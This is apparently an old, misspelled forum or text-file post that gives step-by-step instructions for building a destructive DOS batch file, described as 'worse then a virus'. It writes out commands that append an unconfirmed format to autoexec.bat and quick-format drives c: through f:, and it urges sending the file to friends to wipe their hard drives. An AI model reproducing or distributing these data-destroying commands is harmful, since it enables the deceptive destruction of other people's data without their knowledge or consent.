worse then a virus

send it to your friends and it will wipe thair h/d". make it yourself
goto notepad
type

echo format /autotest >> c:\autoexec.bat

or

this will erase a hard disk or outher disk very fast & whitout confirming

format /U/Q/Autotest c:
format /U/Q/Autotest d:
format /U/Q/Autotest e:
format /U/Q/Autotest f:

save it as [anything].bat instead of .txt
there you go, your own "virus" (which isn't acctually a virus) which you can make yourself
now stop d/ling shitty files, and make them yourself